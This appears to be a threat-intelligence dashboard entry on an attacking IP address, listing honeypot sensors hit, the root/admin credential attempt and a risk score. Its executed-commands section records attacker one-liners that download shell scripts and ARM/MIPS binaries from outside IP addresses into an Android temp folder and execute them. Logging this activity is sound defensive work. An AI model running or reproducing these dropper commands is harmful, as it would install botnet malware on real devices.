Active Threat • HIGH
176.65.139.38
Country of Origin🇩🇪 Germany
First Detection2/14/2026
Last Activity2/25/2026
ISPPfcloud UG (haftungsbeschrankt)
🎯
125
Total Attacks
🔌
4
Ports
📡
4
Attack Types
🦠
0
Malware
Geolocation
- Country
- 🇩🇪 Germany
- City
- Unknown
- ASN
- AS51396
- ISP
- Pfcloud UG (haftungsbeschrankt)
Attack Types
cowrie
honeyaml
adbhoney
honeytrap
Attacked Ports
238040015555
Associated Malware
No associated malware
Attempted Credentials
🔐root/admin
4xExecuted Commands
$
echo hello11x$
cd /data/local/tmp/; wget http://140.233.190.82/cat.sh || curl http://140.233.190.82/cat.sh -o cat.sh; chmod 777 cat.sh; sh cat.sh android5x$
cd /data/local/tmp/; wget http://130.12.180.78/manji.arm7 -O manji.arm7 || busybox wget http://130.12.180.78/manji.arm7 -O manji.arm7; chmod 777 manji.arm7; ./manji.arm7 || wget http://130.12.180.78/manji.mips -O manji.mips || busybox wget http://130.12.180.78/manji.mips -O manji.mips; chmod 777 manji.mips; ./manji.mips5xRisk Assessment
65
/100
LowMediumHighCritical